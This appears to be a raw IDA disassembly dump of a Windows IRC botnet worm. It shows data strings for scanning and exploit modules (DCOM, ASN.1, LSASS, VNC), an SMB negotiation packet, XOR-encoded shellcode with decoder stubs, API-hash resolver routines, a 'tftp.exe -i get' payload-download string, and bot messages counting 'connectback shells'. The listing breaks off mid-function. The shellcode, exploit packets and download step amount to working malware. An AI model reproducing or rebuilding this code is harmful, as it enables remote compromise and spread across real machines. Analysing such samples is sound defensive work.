___:0042DAFCo align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DAF8o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DAF4o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DAF0o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAECo align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAE8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAE4o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAE0o aBeder db 'Beder',0 ; DATA XREF: ___:0042DADCo align 10h aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAD8o aBean db 'Bean',0 ; DATA XREF: ___:0042DAD4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAD0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DACCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAC8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAC4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAC0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DABCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAB8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAB4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAB0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DAACo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAA8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAA4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAA0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DA9Co aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DA98o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DA94o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DA90o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA8Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA88o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA84o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA80o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA7Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA78o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA74o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA70o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA6Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA68o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA64o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA60o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA5Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA58o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA54o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA50o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA4Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA48o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA44o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA40o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA3Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA38o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA34o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA30o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA2Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA28o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA24o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA20o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA1Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA18o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA14o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA10o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA0Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA08o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA04o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA00o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D9FCo align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D9F8o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042D9F4o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D9F0o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9ECo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9E8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9E4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9E0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9DCo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9D8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9D4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9D0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9CCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9C8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9C4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9C0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9BCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9B8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9B4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9B0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9ACo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9A8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9A4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9A0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D99Co align 4 byte_4315F4 db 50h ; DATA XREF: ___:0040ABE6o ; ___:0040ABF3r db 43h, 2 dup(0) dword_4315F8 dd 7C7325h ; DATA XREF: ___:0040AC91o dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo dword_431604 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o ; sub_41AF8F:loc_41B052o dword_431608 dd 334B32h ; DATA XREF: ___:0040AD8Bo dword_43160C dd 5058h ; DATA XREF: ___:0040AD7Do ; ___:0040AF89o ... dword_431610 dd 4B32h ; DATA XREF: ___:0040AD6Do ; ___:0040AF79o ... dword_431614 dd 454Dh ; DATA XREF: ___:0040AD54o ; ___:0040AF60o ... dword_431618 dd 3839h ; DATA XREF: ___:0040AD44o ; ___:0040AF50o ... dword_43161C dd 544Eh ; DATA XREF: ___:0040AD34o ; ___:0040AF41o ... dword_431620 dd 3539h ; DATA XREF: ___:0040AD26o ; ___:0040AF33o ... dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao off_43162C dd offset asc_5D4D5B ; DATA XREF: sub_40ADE1+2Co ; sub_40ADE1+57o ; "ллллллллллллллллллллллллллллллллллллллл"... aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o ; sub_41875E+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B098o align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B072o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o ; sub_41ADD8+52o off_43165C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o dword_431660 dd 345053h ; DATA XREF: ___:0040B02Do dword_431664 dd 34h ; DATA XREF: ___:0040B021o dword_431668 dd 335053h ; DATA XREF: ___:0040B014o dword_43166C dd 33h ; DATA XREF: ___:0040B003o dword_431670 dd 325053h ; DATA XREF: ___:0040AFF6o dword_431674 dd 32h ; DATA XREF: ___:0040AFE5o ; =============== S U B R O U T I N E ======================================= sub_431678 proc near ; DATA XREF: ___:0040AFD8o push ebx push eax xor [eax], eax sub_431678 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43167C dd 305053h ; DATA XREF: ___:0040AFBAo dword_431680 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo dword_431684 dd 3332h ; DATA XREF: ___:0040AF97o ; --------------------------------------------------------------------------- loc_431688: ; DATA XREF: sub_40B2B3+C4o jmp short loc_43168C ; --------------------------------------------------------------------------- loc_43168A: ; CODE XREF: ___:loc_43168Cp jmp short loc_431691 ; --------------------------------------------------------------------------- loc_43168C: ; CODE XREF: ___:loc_431688j call loc_43168A loc_431691: ; CODE XREF: ___:loc_43168Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw db 80h, 73h, 0Eh byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316A0: ; DATA XREF: sub_40B2B3+A2o jmp short loc_4316A4 ; --------------------------------------------------------------------------- loc_4316A2: ; CODE XREF: ___:loc_4316A4p jmp short loc_4316A9 ; --------------------------------------------------------------------------- loc_4316A4: ; CODE XREF: ___:loc_4316A0j call loc_4316A2 loc_4316A9: ; CODE XREF: ___:loc_4316A2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw dw 7380h db 0Ch byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w dw 0E243h dd 0F9h dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B13C+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o aJ_0 db 'j',0 db 0E8h dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43173C retn ; --------------------------------------------------------------------------- byte_43173C db 0E8h ; CODE XREF: ___:00431739j dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o dd 7E8h db 0, 0Fh, 84h dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o ; ___:0040E229o ... align 4 dd 5 dup(0) dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r ; sub_401ACD+1D6Ao ... off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo ; ___:0040D759w ... dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF4Ch, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EC1Fh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D59Dh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D59Dh, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B6A1h, 4 dup(0) aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40E830h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r ; sub_401ACD+1CC6o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A06 ; =============== S U B R O U T I N E ======================================= sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p pop edx dec edx xor ecx, ecx mov cx, 166h loc_4319FE: ; CODE XREF: sub_4319F6+Cj xor byte ptr [edx+ecx], 99h loop loc_4319FE jmp short loc_431A0B ; --------------------------------------------------------------------------- loc_431A06: ; CODE XREF: ___:004319F4j call sub_4319F6 loc_431A0B: ; CODE XREF: sub_4319F6+Ej jo short near ptr dword_431994+12h cwde cdq cdq retn sub_4319F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o align 4 dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA9E+14o dd 7473694Ch, 3Ah unk_431C64 db 2Dh ; - ; DATA XREF: ___:0040BCD7o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431C98 db 2Dh ; - ; DATA XREF: ___:0040BBE5o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 4 unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431F7C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C85F+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CD9E+B2o align 10h dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o dd 800000D4h, 0 unk_432108 db 81h ; │ ; DATA XREF: sub_40D2A2+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432154 db 41h ; DATA XREF: sub_40D340+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_432198 proc near ; DATA XREF: ___:0040D61Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_432294 push dword ptr [esi] push 63D61209h call sub_4322AA mov [esi+8], eax call sub_43225D push dword ptr [esi+4] push 0CA2BD06Bh call sub_4322AA mov [esi+0Ch], eax call sub_43220F push dword ptr [esi+4] push 4C0297FAh call sub_4322AA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_432198 endp ; =============== S U B R O U T I N E ======================================= sub_43220F proc near ; CODE XREF: sub_432198+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432238 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43220F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432238 proc near ; CODE XREF: sub_43220F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_432247: ; CODE XREF: sub_432238+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_432254 inc ebx jmp short loc_432247 ; --------------------------------------------------------------------------- loc_432254: ; CODE XREF: sub_432238+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432238 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43225D proc near ; CODE XREF: sub_432198+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_432275: ; CODE XREF: sub_43225D+1Ej cmp [ecx], ebx jz short loc_43227D mov ecx, [ecx] jmp short loc_432275 ; --------------------------------------------------------------------------- loc_43227D: ; CODE XREF: sub_43225D+1Aj mov edx, edi loc_43227F: ; CODE XREF: sub_43225D+2Aj cmp [edx+4], ebx jz short loc_432289 mov edx, [edx+4] jmp short loc_43227F ; --------------------------------------------------------------------------- loc_432289: ; CODE XREF: sub_43225D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43225D endp ; =============== S U B R O U T I N E ======================================= sub_432294 proc near ; CODE XREF: sub_432198+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_432294 endp ; =============== S U B R O U T I N E ======================================= sub_4322AA proc near ; CODE XREF: sub_432198+16p ; sub_432198+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4322C0: ; CODE XREF: sub_4322AA+33j jecxz short loc_4322FA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4322CD: ; CODE XREF: sub_4322AA+2Dj lodsb cmp al, ah jz short loc_4322D9 ror edi, 0Dh add edi, eax jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D9: ; CODE XREF: sub_4322AA+26j cmp edi, [esp+20h+arg_0] jnz short loc_4322C0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j ; sub_4322AA:loc_4322FAj jmp short loc_4322FA sub_4322AA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_432300 proc near ; DATA XREF: ___:0040D5CDo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_432352 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43231D: ; CODE XREF: sub_432300+38j jecxz short loc_43234D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432328: ; CODE XREF: sub_432300+32j lodsb test al, al jz short loc_432334 ror edx, 0Dh add edx, eax jmp short loc_432328 ; --------------------------------------------------------------------------- loc_432334: ; CODE XREF: sub_432300+2Bj cmp edx, [esp+arg_0] jnz short loc_43231D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj mov [esp+arg_0], ebx retn sub_432300 endp ; =============== S U B R O U T I N E ======================================= sub_432352 proc near ; CODE XREF: sub_432300+7p ; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43236B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_432376 ; --------------------------------------------------------------------------- loc_43236B: ; CODE XREF: sub_432352+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_432376: ; CODE XREF: sub_432352+14j 